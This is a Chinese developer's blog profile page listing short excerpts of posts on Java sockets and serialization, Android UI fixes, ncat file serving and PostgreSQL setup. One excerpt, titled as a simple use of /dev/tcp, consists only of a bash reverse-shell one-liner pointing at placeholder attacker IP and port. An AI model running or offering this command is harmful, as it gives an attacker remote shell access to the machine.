2 kwansy

尚未进行身份认证

圆圆

等级
TA的排名 8w+

rpm 转 deb

装nmap的时候用到了alien这个工具sudoalienncat-7.80-1.x86_64.rpm

2019-09-10 22:09:27

Java Socket 客户端使用指定端口多次连接服务器引发 BindException

有这样一个需求,客户端要用特定端口连接服务器,可以用bind方法绑定一个本地的InetAddress,第一次连接是ok的,但是第二次连接就会报BindException异常(Bind:AddressAlreadyinUse),是因为之前那个连接处于TIME_WAIT状态.java.net.BindException:地址已在使用(Bindfailed)解决方法是用So...

2019-09-08 11:25:37

java 大数运算

听说近日科学家解决了“三立方数和”问题的最后一个数42,特地用java验证一番BigIntegerX=(newBigInteger("-80538738812075974")).pow(3);BigIntegerY=(newBigInteger("80435758145817515")).pow(3);BigIntegerZ=(newBigInteger("12602...

2019-09-07 23:47:15

java 服务器线程池测试

ncat有个允许多客户端连接的参数,默认是100,我用线程池实现了类似的功能。创建服务器线程池大小为100,可以同时处理100个连接,第100个往后的客户端需要等待前100个客户端有退出,它才能连上。Server.javaimportjava.io.*;importjava.net.*;importjava.util.concurrent.ExecutorService;imp...

2019-09-07 11:33:48

软键盘遮挡RecyclerView的解决办法

rv.addOnLayoutChangeListener(newView.OnLayoutChangeListener(){@OverridepublicvoidonLayoutChange(Viewview,inti,inti1,inti2,inti3,inti4,inti5,inti6,inti7){if(i3...

2019-09-04 15:13:21

android 修改toolbar菜单item的icon图标

我尝试了findviewbyid获取MenuItem然后调用setIcon发现无效,设置backgroundres会把图标变的巨大,不符合要求,查资料后得到适用于actionbar的做法,我试过了,toolbar也是可以这样做的。Menumenu=toolbar.getMenu();menu.getItem(0).setIcon(ContextCompat.getDraw...

2019-09-03 22:39:06

recyclerview滑动到顶部和底部监听+上滑下滑监听

到达顶部和底部监听判断是否滑动到底部,recyclerView.canScrollVertically(1);返回false表示不能往上滑动,即代表到底部了;判断是否滑动到顶部,recyclerView.canScrollVertically(-1);返回false表示不能往下滑动,即代表到顶部了;@OverridepublicvoidonScrollStateChanged(@N...

2019-09-03 11:37:29

java 前导零

需要将整数转成带前导零的字符串可以这样做DecimalFormatdf=newDecimalFormat("000000");//字符串长度<=6时带前导零,>6时照常显示Stringstr=df.format(i);

2019-09-01 20:30:24

点击EditText外部区域失去焦点的方法

复制到Activity即可@OverridepublicbooleandispatchTouchEvent(MotionEventev){if(ev.getAction()==MotionEvent.ACTION_DOWN){Viewv=getCurrentFocus();if(isS...

2019-08-17 23:46:58

安卓 屏蔽子控件点击事件

假设有这样的场景:linearlayout里放了若干子控件,其中有一个textview,希望将textview的事件屏蔽掉,交给linearlayout处理,可以给textview设置android:clickable="false"android:longClickable="false"这样textview就只保留了显示文字的功能,长按、点击textview和长按点击linearlayou...

2019-08-16 14:17:23

/dev/tcp 的简单应用

bash-i>&/dev/tcp/攻击者ip/攻击者监听端口0>&1

2019-08-12 17:21:45

java 序列化

需求:使用文件存储和读取对象方法:实现Serializable接口下面的例子将实现了Serializable接口的Person类添加到ArrayList中,再存储到文件,最后读取并输出。importjava.io.*;importjava.util.ArrayList;publicclassTestIO{publicstaticvoidmain(Strin...

2019-08-08 23:41:22

java IO流用法

一、BufferedWriter&BufferedReader的用法使用标准IO的例子importjava.io.*;publicclassTestIO{publicstaticvoidmain(String[]args)throwsIOException{//输入输出流,这里用标准输入输出流举例,也可以是文件流,网络流等。...

2019-08-08 21:07:14

intellij 快捷键

ctrl+alt+i

2019-08-06 15:30:34

使用hashcode命名和索引图片资源

最近在写一个项目,需要实现图片上传下载的功能,想到了用哈希值命名图片,上传时通过用户id+时间戳等数据计算出一个唯一的hash,并用这个值来命名图片,下载时只需根据这些数据重新计算出hash然后直接就能索引到图片下面是一个demo,展示了这种思路//Lastmodify:2019年06月02日星期日10时38分38秒//模拟图片上传存储//使用hash值命名用户上传的图片...

2019-06-02 11:22:14

部署postgresql

下载安装去官网选择操作系统版本和数据库版本,跟着流程安装启动即可改sql数据库默认用户postgresql密码登录到数据库控制台,修改密码sudo-upostgresqlpsqlpsqlpostgres#使用postgres数据库postgres=#alteruserpostgreswithpassword'passwd';#改密码改数据库用户密码(远程...

2019-05-02 23:35:02

Java分割由多个空白字符连接的字符串

字符串中含有空格,\t\n等转义字符,长度不定,可以用如下方式分割buf1=buf.split("\\s+")[0];其中,\\s表示空白字符,+表示匹配多次。示例代码//Lastmodify:2019年04月10日星期三16时14分55秒publicclassA{publicstaticvoidmain(String[]args){...

2019-04-10 16:20:05

java不使用IDE导入json

示例代码导入了gson的jar包,创建了一个数据类,序列化和反序列化importcom.google.gson.*;importjava.util.*;publicclasstest{publicstaticvoidmain(String[]args){Datadata=newData();//需要存储的数据对象...

2019-04-04 22:34:43

基于ncat的简易web服务器

首先装一个ncatyuminstallncataptgetinstallncatwhatever...准备一个html页面文件<html><body><h1>ncatbasedwebserver</h1><h1>ncatba...

2019-03-29 21:26:50

ncat 重复发送同一个文件

https://serverfault.com/questions/503677/resend-the-same-file-simultaneously-with-netcat-in-listening-mode服务器ncat-l-k-v--send-only--exec"/bin/catdata.txt"0.0.0.05000客户端ncatlocalhost500...

2019-03-28 10:11:19

查看更多

勋章 我的勋章
  • 持之以恒
    持之以恒
    授予每个自然月内发布4篇或4篇以上原创或翻译IT博文的用户。不积跬步无以至千里,不积小流无以成江海,程序人生的精彩需要坚持不懈地积累!
  • 勤写标兵Lv1
    勤写标兵Lv1
    授予每个自然周发布1篇到3篇原创IT博文的用户。本勋章将于次周周三上午根据用户上周的博文发布情况由系统自动颁发。